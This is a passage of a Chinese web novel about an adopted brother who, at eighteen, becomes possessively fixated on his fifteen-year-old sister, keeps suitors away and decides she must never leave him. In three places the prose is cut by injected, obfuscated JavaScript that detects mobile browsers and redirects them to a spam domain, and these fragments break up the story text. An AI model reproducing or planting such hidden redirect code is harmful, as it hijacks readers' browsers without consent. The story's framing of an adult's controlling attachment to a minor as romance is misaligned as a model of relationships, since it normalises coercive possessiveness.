刚说完,他忽然想起什么,赶紧补充一句:“但哥哥的可以。” “哥哥的喜欢冯水可以接受。” “我知道。”冯水认真点头。 “哥说过的,哥喜欢我、对我好,都是亲情。” 蒋山忽然接不上话。 他牵着冯水回了家,路上好几次开口向辩解些什么,但还是什么都没说。 哥哥是亲情。 哥哥对冯水的所有好都是因为亲情。 这不是他一开始就努力给冯水灌输的思想吗? 现在灌输成功了。 不满意吗? 为什么? 第二天上学,蒋山找到冯水的班主任刘飞把昨天的事说了一下,特地叮嘱了他说千万不能让冯水谈恋爱。 在村里做了这么多年班主任,刘飞还是第一次遇到这么害怕早恋的家长。 要知道早恋的事发生在村里别的小孩儿身上,家长可是很高兴的,这样读完了书直接就能安排结婚传宗接代,连相亲的钱都省了,多好。 他看着蒋山很是欣慰,拍着胸脯给他保证说绝对帮他看好冯水,一定让冯水读上高中,不辜负他望妹成凤的心愿。 蒋山虽然不是这个意思,但两件事上都能促成刘飞盯着冯水不让她谈恋爱,也算是一种殊途同归。 而且……他一时也说不清楚自己真正害怕冯水谈恋爱的理由,索性就这么应下。 冯水就这么被刘飞盯上,并在刘飞的努力下,成功成为学校所有老师的特别关心。 自从冯水长开,学校里关于她是克星的流言就少了很多,甚至有人开始帮着她解释,说康元和蒋山和她走得那么近,不也照样好好活着,渐渐地大家也就不再相信这件事。 据康元后面到处招兵买马帮冯水打听到的消息,除了刘明明之外,学校里还有一些喜欢她的男生,但此事一出,也就都不了了之了。 刘明明被初一的班主任刘峰连着叫着聊了好几次,还是说喜欢冯水。 刘峰也拿他没办法,看他大概是真喜欢冯水,只说,冯水是要上高中的人,你要真为她好,就别去拖累她。 刘明明记住了刘峰的话,没再去找冯水,但还是偷偷喜欢着她。 六月中,冯水跟着学校的舞蹈队一起去何家村的高中表演节目,蒋山不放心她,搭着刘飞的自行车后座一起跟着去。 到了地方才发现,刘明明竟然也在,而且果然在等冯水。 趁着冯水还在后台卸妆,他走过去把刘明明叫走,威胁的话还没说出来,刘明明一看来的人是冯水的哥哥,很有礼貌地给他打招呼:“冯水哥哥好。” 蒋山咽了咽,没法骂人,又不能动手,心里烦躁更甚。 “你才十四,你懂什么是喜欢吗?”他皱眉问他。 “我……”刘明明大概是被问了太多次这个问题,低头笑了笑,“你们都觉得我们不懂。” 他抬头问蒋山:“冯水哥哥,你应该比我们大不了几岁,你十四岁的时候,难道就没有喜欢的人吗?” 蒋山再次接不上话。 好一会儿,他错开眼神:“当然没有。” 现在也没有。 他只是冯水的哥哥。 至少现在是。 至少还有很大一部分是。 刘明明叹了口气,没接话。 一阵沉默。 蒋山开口:“就算你懂,也别喜欢冯水。” “换个人喜欢。” 刘明明看着他皱眉:“可是,喜欢怎么能说换就换?” 蒋山也皱了眉:“反正不能喜欢冯水。” “我知道,她要上高中的。” “我也会努力学习,不会拖她后腿的。” “冯水哥哥,你相信我。” 刘明明越是诚恳,蒋山越是听得心烦。 “相信不了。”他留下这么一句,转身走了。 15. 柔藤绕08 排练了一个多月的舞蹈表演就这么结束,冯水的表现很好,蒋山一面为她骄傲,一面却又害怕她因此被更多人喜欢上。 现在他知道的已经有一个刘明明,那在他不知道的地方呢,会有别的刘明明吗?又有多少个? 冯水是他妹妹,他一个当哥哥的,不想妹妹谈恋爱很正常。 至少冯水成年之前,不可以。 对她没有好处的。 对。 只是为了冯水好,不是因为他不想。 蒋山还是用这样的话来安慰自己,即便他知道作用已经不大。 回去的时候冯水和同学一起坐学校的车回去,蒋山还是坐刘飞的自行车后座,刘飞大概是察觉到他的顾虑,边骑边开导他。 “冯水哥哥,其实你不用太担心冯水谈恋爱的事。” “反正就我看来,冯水今年虽然长了好一截个子,但心智上其实还是个孩子。” “别人和她表白,说不定还没有说要请她吃饭的威力大。” “而且我看冯水还挺依赖你的,有你这么一个帅哥哥养着她,就我们学校里的这些个毛头小子,她看不上的。” 蒋山坐在刘飞后座听着,一时不知该作何反应。 他……在别人眼里不一直是个疯子吗? 就算有说他帅的,不也只是因为礼貌吗? “帅哥哥,我吗?” 刘飞捏了一把刹车,回过头来很是惊讶:“对啊。” “你不觉得自己好看吗?长这么大都没被人夸过?” 蒋山没说话。 脑子里闪过一句话,和刘飞的下一句同时响起。 “那……冯水也没夸过你吗?” “哥哥,你长得真好看。” 蒋山呆愣几秒,低头咽了咽。 哥哥好看。 冯水说的。 见他第一面,就已经说了。 所以,冯水看不上别人的。 一定。 . 为保证安全,所有人到了学校之后再统一解散,蒋山从刘飞车上下来,和他道了谢,和冯水一起回家。 冯水今天跳完了舞,没有踩错点,也没有弄错动作,还被舞蹈老师陈玲表扬了,很是开心,回家的路上拉着蒋山一直蹦蹦跳跳的。 “哥,你猜今天陈老师夸我什么了?” 蒋山看见冯水这样开心地冲他笑,也想对她笑,但心里还是闷得慌,尝试笑了好几下都没笑出来,只能先低头看她,眼神依旧温柔,但疲惫却藏也藏不住:“夸你什么啦?” 冯水抬头看着他笑:“她夸我厉害!” 蒋山还是被她弄得笑了起来,另一只手在她脑袋上揉了一把:“是啊,我们冯水最厉害了。” 冯水又嘻嘻笑了两下,往蒋山那边凑近一些,牵着他的手晃悠着:“哥也很厉害。” “哥怎么厉害了?” “哥就是厉害。” 蒋山又笑起来。 想起刚才刘飞的话,他忽然有点好奇。 说起来,冯水已经有好久没夸过他好看了。 他轻轻晃了晃冯水的手,有些许地紧张:“冯水。” “你现在还觉得哥好看吗?” 冯水正乐呵呵地走两步跳一下,听他这么问,抬头认真看他:“觉得啊。” “哥全世界最最最好看!” 蒋山心里猛地暖了一下,眼眶都莫名其妙地跟着热,他一直看着冯水,牵她的手紧了又紧,坚持了两秒,还是伸手把她抱进了怀里。 “冯水。” “一直这样夸哥哥好不好?” “每天都要夸哥哥。” 蒋山抱得太突然,冯水都没来得及反应,直接正脸埋进他胸口,鼻子都被堵上一些,她贴着他胸口转了下头保持呼吸:“好啊。” “哥最棒,哥最厉害,哥最好了。” 蒋山没再说话,但也没有松开她。 他想就这么抱着冯水,久一会儿,再久一会儿。 冯水不知道他怎么了,但隐约感觉到他好像不太开心,动了动脑袋看他,但什么也看不见,干脆也伸手去抱他。 “哥。” “你是不是不开心?” 蒋山没有立刻回答,过了几秒,才闷声嗯了一句。 “为什么?” “冯水今天跳得不好吗?” “冯水跳得很好。” 冯水皱眉。 一阵沉默,只有山林里蝉鸣和鸟叫声此起彼伏。 正是盛夏,蒋山是男生,身上体温也要高些,冯水被抱得有点热,试着叫他:“哥……” “我热。” 蒋山回过神来,松开她一些。 有风从两人身体缝隙间穿过,清凉又舒服。 冯水好一些,又抱了回去:“哥还是不开心吗?” “那冯水给哥抱。” 就像小时候冯水不开心哥也给抱的那样。 蒋山终于弯唇笑了出来,他再次抱紧冯水,头低一些,再低一些。 低到能闻到她发间的香味。 冯水,给哥抱。 蒋山鼻头有些发酸,心里更酸。 好一会儿,他才应声:“嗯。” . 最后冯水是被蒋山背着回家的。 他难过。 冯水不知道他到底在难过什么,也不知道该怎么安慰才好,但哥要抱,她就给抱,要背,她也给背。 蒋山是她哥哥,她不要蒋山难过。 晚饭吃得很安静,洗碗也很安静,一直到洗完了澡上床,也还是很安静。 他睡在冯水旁边,给她摇着扇子,却没有抱她。 冯水奇怪地看了他一会儿,自己抱了上去:“哥,你到底为什么不开心。” “不能和我说吗?” 她说着说着忽然有一些失落:“可我是冯水,是哥唯一的妹妹。” 蒋山摇扇子的手一顿。 另一只手纠结几下,还是抱了上去:“冯水。” “你还记得,你小的时候,哥和你说过的爱情的那种喜欢吗?” “记得啊。” “就是可以做夫妻的,可以结婚生小孩儿的那种。” 蒋山喉头再次一堵。 好几秒,他应声:“嗯。” “就是那种。” “怎么了吗?”冯水松开他一些,抬头看他,“哥为什么忽然问这个?” “哥有喜欢的人了吗?” 蒋山看着她无辜的大眼睛,心里沉重万分。 “哥也不知道。” 冯水的心也忽然抽痛一下,她自己都不知道怎么回事,就难过地皱了眉:“谁啊?” 蒋山以为她只是疑惑才皱眉,没有哄她,也没有说话。 他错开了眼神,一边摇扇子一边接着问他想问的话:“冯水。” “如果以后,你遇到喜欢的人,爱情的那种喜欢。” “你还会和哥在一起生活吗?” 那时候,哥还是冯水的唯一吗? 冯水又钻进了蒋山怀里:“我不知道什么是爱情的喜欢。” 蒋山皱着眉,一遍又一遍地叹气。 他好难过。 找不到原因,也找不到办法的难过。 又或者,他早就知道了原因,只是迟迟无解,所以不愿意接受。 他低头抱着冯水,轻声哄着:“睡吧。” “和哥哥一起。” . 蒋山的这种状态一直持续到初二下的期末考试结束,冯水虽然还是没懂,但也一直每天抱他安慰他到期末考试结束。 暑假如期而至,冯水终于不用再去学校,每天只用和他一个人待在一起,蒋山才感觉稍微好些。 冯水,终于又是他一个人的了。 七八月地里庄稼长势很好,但太阳太毒,戴草帽也扛不住的热,蒋山一般早上下田挖地除草,下午的时候就和冯水一起在家里睡觉和晒草药。 下学期开学冯水就初三了,蒋山问过她上高中的事,冯水不反感,但看着似乎也没有必须要上的冲劲儿,反倒是经常和他说一些舞蹈排练的事。 上次舞蹈排练结束之后,冯水就和康元一起加入了学校的舞蹈队,由何家村高中的陈玲老师每周上三次课,有节日的时候就排练节目,没节日的话就一群女孩儿在教室里跟着碟片学舞。 蒋山不懂跳舞,但也能看出冯水跳得很好。 闲暇时,冯水还特地穿上漂亮裙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15669881|173103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子跳给他看,长裙摆随着舞姿翩翩而动,晴天,雨天,阴天,蒋山一次又一次入迷。 不想醒来。 冯水。 只给他跳舞的冯水。 八月下的时候,地里的玉米大丰收,村里的人都在忙碌着,想赶在雨季到来之前把玉米收完,除了早晚,蒋山下午也顶着太阳在地里掰着玉米。 冯水一开始还说要和他一起出去,蒋山怕她中暑,非要让她回家,但冯水也犟,说她都答应不帮他掰玉米了,就坐在树荫下等等他而已。 本来都是好好的,但说着说着她眼泪就下来了,蒋山拿她没有办法,只好答应了她。 她确实是如她所说的那样没下地帮他掰玉米,但每次蒋山掰了几筐之后,她就拿着他的水壶跑到田埂边上喊他喝水,不然就站在那儿顶着太阳晒,一副他不答应她就要把自己晒死的模样。 蒋山时常觉得,可可爱爱的哭包妹妹应该只是冯水的表象,真正的冯水,大概是个犟种。 一个比他还要犟的犟种。 这天他正在地里收着玉米,冯水忽然带着小花跑了过来,笑着说有东西要给他看。 蒋山把手上的玉米扔进筐里,拿脖子上的帕子擦了擦汗,走到田埂边上:“看什么?” 下午太阳最是毒,冯水没带草帽,两只手藏在身后傻乎乎看着他笑,蒋山无奈地笑着叹了口气,把草帽摘了下来,上面沾了汗,他只是挡在她头顶,没有放上去,低头问她:“要给哥哥看什么?” 冯水笑着凑近了些,藏在身后的手往前,两只手上捧着一小堆紫得发黑的桑葚,上面沾着一些水珠,应该是刚洗过。 “桑葚!”冯水笑着说着,“哥猜我是去哪里找的。” 蒋山笑着看了眼桑葚,然后就一直看着冯水。 我才不管什么桑葚田葚,哪有妹妹好看。 冯水看他没说话,着急地动了动:“哥你快问我!” 蒋山看她着急,故意拖延时间:“问什么?” “问我去哪里找的呀!” “找什么?” “蒋山!”冯水看出他在故意使坏,生气地喊他。 “哎。”蒋山乐呵呵看着她答应一句。 笑了好几秒,才反应过来冯水刚才都没叫哥哥,擦了擦手在她下巴上勾了一下:“怎么又不叫哥哥了?” 冯水生气,转开了脸,桑葚也收了回去,转身就要走:“不给哥吃了!” “冯水。”蒋山忙笑着叫她,“哥错了哥错了。” “请问我们冯水是在哪里摘的桑葚啊?” 冯水听见他终于问了,赶紧笑着跑了回来,给他指田埂另一边:“就那边,那个枇杷树后面,有一棵桑树,很矮,但是结了很多果子。” 她把手里的桑葚捧高一些:“而且都特别甜!” 蒋山视线落在她染上些许桑葚汁的指尖上。 冯水的指尖,软软的,凉凉的。 沾了桑葚,应该还会甜甜的吧? 他咽了咽,刚想借口手上有汗让冯水喂他,嘴里就被塞了一颗桑葚。 还有唇瓣上冯水一触即离的指尖。 “是不是很好吃!”冯水笑嘻嘻看着他,清亮亮的大眼睛里满是期待。 蒋山看着冯水将那颗桑葚吃下去,微笑着点了点:“甜。” 冯水看着他笑起来,又拿了两颗喂给他:“那哥多吃一些。” 冯水本来就比他矮些,站的地方也比他矮,每次喂他都得举手,蒋山笑着走下来和她站平,低头等她喂。 一颗又一颗桑葚喂着,蒋山的唇瓣渐渐被冯水手上的桑葚汁染色,冯水喂他吃了好一会儿才发现,连忙拿手背给他擦。 但是擦不干净。 冯水心虚地看着他抿唇,小心翼翼地眨着眼:“哥……” 蒋山笑着摸了摸嘴唇,还残留着冯水手背擦过的触感。 “没关系。” “谢谢冯水喂哥哥吃桑葚。” 冯水见蒋山竟然没有怪她,又抬头朝他笑。 蒋山低头看着她。 明明言行举止都和小时候一模一样,连笑起来时傻乎乎又清亮亮的眼神都没变。 到底是哪里变了? 还是……单单是他变了。 16. 柔藤绕09 九月,冯水满十五,蒋山成年。 今年的中秋节正好在放假的最后一天,两人生日那天要上课,但冯水没去。 冯春梅和她说过成年这天很重要,她要一整天都陪着蒋山。 醒来洗漱好之后,她先穿上蒋山昨晚睡觉前就送给她的新裙子,然后跑到灶屋找到正在做饭的蒋山。 “哥,生日快乐!”冯水笑着抱他,脸在他怀里蹭了蹭,蹭得头发都乱了,才把睡觉前偷偷藏在枕头下面的一个红手绳送给他。 蒋山接过来看了看,五颗麦冬种子,比去年的多一颗。 他摸了把她的脑袋:“为什么是五颗?四颗是想拼成幸运草,五颗连成一串的,是什么意思?” 冯水看着他嘻嘻地笑着:“因为今年是冯水和哥成为家人的第五年。” 蒋山盯着她看了会儿,才笑着捏了捏她的脸:“好,哥哥收下了。” “今天也是冯水的生日,冯水也要生日快乐。” 冯水又凑过来抱他一下:“谢谢哥!” 自从暑假前蒋山心情不好每天都要冯水抱之后,冯水就习惯了用拥抱这种方式来向他表达关心和爱意,蒋山也渐渐依赖上冯水的拥抱。 即便他知道自己因此收获到的情感和冯水真正想要向他表达的,其实是不同的。 他又变了很多。 不知道还能坚持多久。 或许能一直到冯水成年,又或许,就在明天。 . 前几年的生日宴都是比较正常的鸡鱼和肉,鸡就是红烧清炖辣炒或者煮了汤之后捞起来凉拌,鱼就是清蒸红烧水煮或者油炸了之后淋酱汁,肉的做法更是普通,要么炒要么煮要么就是做成丸子。 今年蒋山打算给冯水做点不一样的,他吃过早饭之后就杀了鸡,还去湾里抓了鱼和虾,冯水以为他要做好多好吃的,但中午的时候发现他只是做了些比较家常的菜随便吃了一下。 冯水看着灶上已经处理好的鸡和鱼,捧着碗里的白米饭和蒋山给她夹的肉丸子疑惑地看他,大眼睛一眨一眨的,除了不懂还是不懂。 “哥,我们今天不吃鸡和鱼吗?” 蒋山忍着笑又给她夹了个肉丸:“那你猜猜,猜对了,哥哥就告诉你。” 冯水埋头皱着眉扒饭,总觉得蒋山这句话哪里不对劲。 吃饭时在想,蒋山洗碗时她也在想,一直到蒋山从背篓里拿了几片荷叶出来之后她才想明白,很生气地走过去问他:“哥!” “我都猜对了你还有什么好说的?” 时间已经过了好一会儿,蒋山差点没反应过来她在说什么,腌鸡的手一顿,正想着该怎么哄,冯水忽然瞥见他盆边放着的荷叶,低头伸出手指轻轻摸了摸。 然后像是怕被他听见一般,很小声地笑着感叹一声:“哇……” 蒋山没忍住笑了起来:“一会儿拿来做荷叶鸡的。” 冯水下意识抬头朝他笑笑,笑完了才想起来蒋山刚才逗她的事,赶紧垮了脸不理他。 蒋山笑着,赶紧把鸡处理好拿荷叶包了起来,洗了手端了盘糖芋头给冯水:“呐,哥刚才做的。” 蒋山做的糖芋头又香又糯,还不噎人,冯水看着盘里裹着糖霜的芋头咽了咽,还是接了过去:“好吧,我原谅哥了。” 蒋山还是没忍住在她脸上轻轻捏了捏:“你先吃着,哥去外面弄个火堆。” “弄火堆干嘛?不是做荷叶鸡吗?” 蒋山本来都要走了,回过头来看到她,又伸手在她下巴上勾了勾,逗弄的话都到嘴边了,想着她刚生完气,又咽了回去。 “一会儿你就知道了。” . 后半下午蒋山把屋前的一处小草地挖了泥巴,混着水调成糊之后包在荷叶鸡上,点了火之后埋回到原来的坑里,又去屋后面砍了几捆柴,在旁边的地上搭好,看着天差不多快黑了,才划了火柴点火。 冯水吃完了芋头,端了个凳子和小花一起坐在边上看着蒋山忙过去忙过来,偶尔被他路过或者休息的时候伸手揉一把头捏一把脸,委屈地皱巴几分钟之后又全神贯注地看着他继续忙活。 太阳下山之后,蒋山搭的火堆就显眼了起来,圆锥形的柴堆,火焰将近半人高,暖黄色的火焰随着微风轻轻跃动着,照亮蒋山插在旁边烤着的鱼虾肉和各种蔬菜。 “冯水。”蒋山放下水壶和水杯,拿小铲子刨着烧鸡的土坑把荷叶鸡扒拉出来,用火钳夹着拿到火堆边上,边砸边叫她,“过来吃饭了。” 冯水答应一声,拿着凳子过去火堆边上,挨着蒋山坐下,看着他把荷叶鸡上已经烧干的泥巴砸开,拿了双筷子递给她:“冯水开还是哥开?” 冯水心里想开,但又有点害怕,只拿了一根筷子,看着蒋山有点紧张:“哥一起。” 蒋山勾唇点了点,拿着剩下的一根筷子在荷叶上扎了个洞,弄了两下把洞扒拉得开一些,停下等冯水。 冯水看他动作停下,又转头看了看他,确认是在等自己,然后才学着他的模样把筷子扎进那个洞里。 “别动哦。” 蒋山说了这么一句,冯水点头嗯声,蒋山拿着筷子用了力,荷叶被撕开好大一个洞,呼呼地往上冒着白雾,荷叶和烤鸡肉的香味混合在一起,香得在一旁的小花直叫唤。 两人一狗一起吃了好一会儿,吃到小花在旁边啃骨头都啃不下的时候,蒋山进了屋子拿水果蛋糕。 蛋糕被放在火堆边上的石板上,蒋山拿出火柴,在莲花灯芯上点燃。 “哥,快许愿。”冯水合了手闭眼许愿。 蒋山始终看着她,看她快睁眼了,才又闭眼许愿。 今年是他成为冯水哥哥的第五年,也是他有生日的第五年。 第一次的生日愿望,他希望冯水能一直在他身边。 第二次的生日愿望,他希望冯水能一直在他身边。 第三次的生日愿望,他希望冯水能一直在他身边。 第四次的生日愿望,他希望冯水能一直在他身边。 第五次的生日愿望。 蒋山闭着眼,心跳越来越快。 他还是希望冯水能一直在他身边,但这次……好像不只是亲情。 他终于睁开眼,冯水早就在一旁等得着急:“哥许好了吗?” 蒋山看着她点点头。 冯水朝他笑笑,和以前一样拉着他的手一起吹灭了蜡烛。 “哥,十八岁生日快乐!哥今年的愿望一定一定会实现!” 蒋山还是看着她:“十五岁生日快乐,冯水。” 我的……妹妹。 . 晚上睡觉的时候,蒋山刚抱着她哄了一会儿,冯水就开始装睡着。 蒋山都还在说话,没听到冯水应声,低头一看,才发现她竟然已经睡着了。 今天这么快吗? 他都还没抱够。 蒋山不舍地叹了口气。 笨蛋妹妹。 笨蛋冯水。 他放下扇子双手抱住她。 反正都睡着了,再多抱一会儿也不会发现。 蒋山怀里又温暖又舒服,冯水花了好大力气才没让自己直接睡过去。 不知过了多久,久到她都怀疑自己是不是开始做梦了,蒋山才放开她回了自己的床上。 冯水在床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15673087|173103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上躺了会儿,轻轻掐了一下自己的手指。 会痛,她还醒着。 她偷偷掀开蚊帐一角瞄着蒋山,他平躺在床上,似乎在思考着什么,睁了好一会儿眼睛才闭上,闭上眼之后又睁开,睁开之后又闭上。 冯水都困得不行了,抬眼一看,他竟然还没睡着。 她咬牙坚持着,又不知过了多久,蒋山终于没再睁眼,呼吸看上去也变得平稳。 应该是睡着了吧? 冯水困得迷糊,来不及想太多,轻轻掀开蚊帐,又轻轻穿上鞋,蹑手蹑脚地走到蒋山床边,用最小的声音试探着叫了他两声。 蒋山没答应,也没睁眼。 冯水这下放了心。 但还是用最小的声音和他说着:“哥,我妈妈以前和我说过,十八岁的这天,我们成为成年人的第一天,也是踏进成年世界的第一天。” “除了要好好庆祝生日之外,还要有最亲近的人送上最好的祝福,就像小婴儿刚出生的时候被……” 冯水咽了咽,还是很紧张:“哥,刚才我把我的生日愿望送给你了,算是我送给哥的祝福。” “但是……但是哥只有冯水了,所以……我妈妈说的这个祝福……还是冯水来送。” “你……可能会生气,所以,我就等你睡着了再送给你。” 冯水深呼吸了一下,往下俯身,但刚弯了点腰,头发就往前面滑了下来,她赶紧伸手拦下,把头发整理到一边抓好之后,再次深呼吸了一下。 然后她弯腰俯身,在蒋山额头上,亲了一下。 很轻,很快的一个吻。 “哥,成人快乐。” 她说完,紧张地攥紧了手,确定蒋山没醒,也确定自己有亲到他,然后才迅速跑回了床上,重新把蚊帐拉好躺下。 连续的几次深呼吸之后,冯水那边终于安静了下来。 蒋山慢慢睁眼,一点一点松开已经被他手心的汗沾湿的被子一角。 他心脏在胸腔一下一下地猛砸着,声音大到听不见外界的一切声音。 冯水,亲他了。 额头。 一秒。 而且是祝福。 但她亲他了。 蒋山呼吸突然变得有些困难,他不确定冯水有没有睡着,微张着嘴,努力保持着安静的呼吸。 冯水。 许久,蒋山还是起了身,到屋外的院子里坐着,小花还睡着,瞥见他出来,挪到他脚边继续睡。 冯水不是那个意思,他知道的,她也解释了。 只是家人对他的祝福。 蒋山低下了头,想抬手摸一摸被她亲到的地方,但又不舍。 但她就是亲他了。 无论如何,她就是亲了。 蒋山放下了手,看着地面发呆。 他…… 冯水亲他了。 所以…… 他是冯水的了。 脑子里忽然闪过这个想法,蒋山被惊得坐直了。 愣了两秒,他扇了自己一巴掌。 不是梦。 他也确实从哥哥变成了混蛋。 连明天都没有等到。 只是今晚。 月亮偏西的时候,蒋山起身回了屋。 蚊帐里,冯水已经彻底睡熟,皱着眉在床上睡得乱七八糟。 蒋山笑着把被她蹬掉的被单重新盖好,关上蚊帐,躺回到了自己的床上。 他就是混蛋。 已经混得彻头彻尾了,就没什么好纠结了。 睡吧,冯水哥哥。 另一种意义上的。 只关于爱情。 17. 摇花梦01 冯水初三的课余生活继续在蒋山的各种投喂和牵牵抱抱中正常度过,无论是蒋山和她的相处方式、还是让她好好吃饭好好睡觉好好上学的说话口吻都没有变,唯一有所不同的,大概是蒋山的心情突然好了很多。 他很少再有突如其来的不安和难过,连再看到有人给她递情书的时候都不怎么生气,甚至还能笑着回绝对方。 “有我在,你没机会的。” 这是蒋山这一年来最爱用的一句话,冯水不是很懂他说的这句话到底是什么意思,但好像每次他这样说了之后,那些人还真的就不再来找她。 大概是因为知道了她有哥哥吧。 有蒋山保护她,别人就没有机会伤害她了。 毕竟蒋山说过,在喜欢这件事上,女生是吃亏的一方,连哥哥对她的喜欢,都因为是亲情才可以接受。 爱情的,谁都不行。 除了这一点变化之外,别的看起来好像都和以前一样,冯水更加认定那晚蒋山并没有发现她偷亲他的事,彻底放下心来不再纠结,安心学跳舞和吃饭长大。 附近村里的很多人都不打算考高中,除了几个从初一开始就在为考高中努力的第一排学生之外,后面的都是一些来混日子的人,有的是为了拿个文凭方便去城里找工作,有的就是纯粹年纪太小干不了什么活儿、被家长特地送过来关着免得在家里惹事的。 但无论是哪种,大家都在这所学校里或多或少地学过几年,在校长在广播室宣读过致初三毕业生的一封信之后,班里乃至整个学校都莫名其妙地开始充斥着一种躁动又不舍的复杂气息。 又一届学生要毕业了。 六月上旬,初三一班的各项会考正式结束,班里不考高中的同学下周就不用再来了,星期五的下午,班里没有上课,同学们在教室里待着,聊着毕业之后自己的打算,享受着这最后的校园时光。 冯水的成绩还是老样子,但她的舞蹈表现实在是好,陈玲很是喜欢她,了解了她不抗拒上高中的想法后,直接照往年的惯例带着进了何家村的高中,中考她愿意考的话就考,不愿意考也没关系。 反正村里的人要么不读书,要读书就是冲着考大学去的,艺体这条路本身就烧钱,而且就何家村高中的教学质量,能真正考上的堪称万分之一,何家村高中的艺体班每年都招不够人,还要靠陈玲这样的老师每周到附近的学校从娃娃抓起,才勉强保住艺体班的存活。 来的学生不要求学校把她们教得能考上大学,学校也就对学生的文化水平没什么要求。 刘飞听说了这事,先是感叹冯水去了艺体班之后读书路可能就这么断了,但是以她的成绩,如果不去艺体班,只怕是连高中都没得上,也还是就释然了。 蒋山倒是没什么想法,只要冯水喜欢的,他就支持,只是高中不像初中有义务教育,算上这两年买草药攒下来的钱,他还得再给冯水攒点学费,而且何家村离蒋家湾有点远,他又不想让冯水住校,在她正式开学之前,还得想点办法搞一辆自行车回来才行。 康元本来说好了要和冯水一起去艺体班的,结果她爸妈五月底的时候离了婚,她初中毕业之后就要跟着妈妈一起回外婆家,高中估计也不会再上了,但她和冯水说,她不会放弃自己的梦想。 冯水得知要和康元分别,一开始还笑着祝她天天开心,早日实现梦想,却在拍完毕业照要回家的时候后知后觉地掉眼泪。 康元本来还好好的,一看她哭,自己也忍不住了。 蒋山在一旁站着等她,刚去刘飞和摄影师王鹏那里看了眼冯水的毕业照,回来就看见两个人搂在一起抱头痛哭。 一时想笑,笑着笑着却又有些唏嘘。 还这么小,没有地址,也没有联系方式,说不定,真就是最后一面了。 他又回去找到王鹏,请他拿照相机给冯水和康元再拍张照片,钱他来给。 王鹏应下,跟着他一起过来。 蒋山递了纸给康元,自己拿着纸给冯水擦眼泪,她又哭得一抽一抽的,眼睛嘴巴鼻子尖都沾着红色,等着他擦眼泪的时候憋眼泪憋得下巴都在抖,蒋山还是想笑,花了好大力气才憋住。 他忍着笑给她擦掉下巴上的眼泪,又伸手轻轻捏了捏,才拍拍她的肩膀:“好了,去吧,和你的小伙伴拍照留念。” 冯水还是想哭,但都要拍照了,不能哭,她忍着眼泪走过去找康元,康元也和她一样,脸上眼泪是没了,但难过的情绪还在。 最后拍照的时候,两人手拉手站在一起,苦着脸都笑得很勉强。 王鹏连着拍了好几张都这样,最后干脆等她俩哭够了再拍。 冯水现在要和康元抱着哭,蒋山没什么事做,坐在一边看她。 今年冯水的身高不再像去年那样窜得厉害,衣服的尺寸也几乎不怎么变了,上次去内衣店的时候,一直接待她的那位员工看了她现在的模样,也是感慨万千地摸着她脑袋说了句:“这么快都要长成大姑娘了。” 是啊,冯水,要长成大姑娘了。 但还是要哥哥牵哥哥抱哥哥给她洗衣服做饭。 蒋山看着她勾了勾嘴角。 但刘飞说,只要不是智力有问题,一般再迟钝的人到了十六七岁,也会开始懂事,或许冯水去了高中,就突然懂事了呢? 到那时,他也就不用老是担心她被坏人骗走了。 蒋山又叹起气来。 他当然是想冯水快快懂事的,做哥哥的嘛,总是希望妹妹能聪明一些,才不会被人欺负,但另一方面,他又有点担心。 万一……冯水懂事了,知道男女有别是什么了,不再给他牵给他抱,也不让他给她洗衣服了,甚至,不再和他睡一个房间。 他又该怎么办? 冯水生理期刚来的时候,他还能坦然地说出一句,只要冯水不愿意了,他就能立刻放手。 结果现在不仅无法再给出新的承诺,还食言了。 他喜欢上冯水了,具体什么时候开始的他不清楚,但现在,他清清楚楚地知道,他离不开冯水,他从一开始就离不开冯水。 所以冯水可以懂事,可以明白男女有别,但不能离开他。 即便日后懂事了,知道他现在在借着她哥哥的身份和她亲近,生气了,骂他了或者打他了,又或者……喜欢上了别人,也一样不能离开他。 他除了是喜欢她的蒋山,还是她的哥哥,唯一的哥哥。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15682015|173103||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他们一起长大,一起吃饭,一起睡觉,一起做了好多好多事,在彼此记忆留下最最深刻又复杂的印记,是最亲近的家人,是打断骨头连着筋,是这辈子都无法理清的一团乱麻。 而且……冯水亲他了,还在他成年的第一天。 他才刚成年,她就亲了他。 蒋山垂下视线咽了咽。 冯水必须对他负责。 他抬头看她。 即便她现在还什么都不懂。 也得对他负责。 冯水和康元大概一直抱着哭了有十分钟,才终于慢慢停了下来,蒋山拿着纸过去,依旧是递给康元,然后自己给冯水擦。 冯水哭出来之后心里好受很多,边吸鼻子边叫他:“哥。” 蒋山抬眼看到她这一脸无辜的模样,心里忽然有点小憋屈。 明明就亲了他。 偏偏还一副什么都没发生的样子。 冯水看他好像也有点不开心,又吸了吸鼻子,睁着大眼睛好认真地问他:“哥,你也不高兴吗?” “你是不是也舍不得康元?” 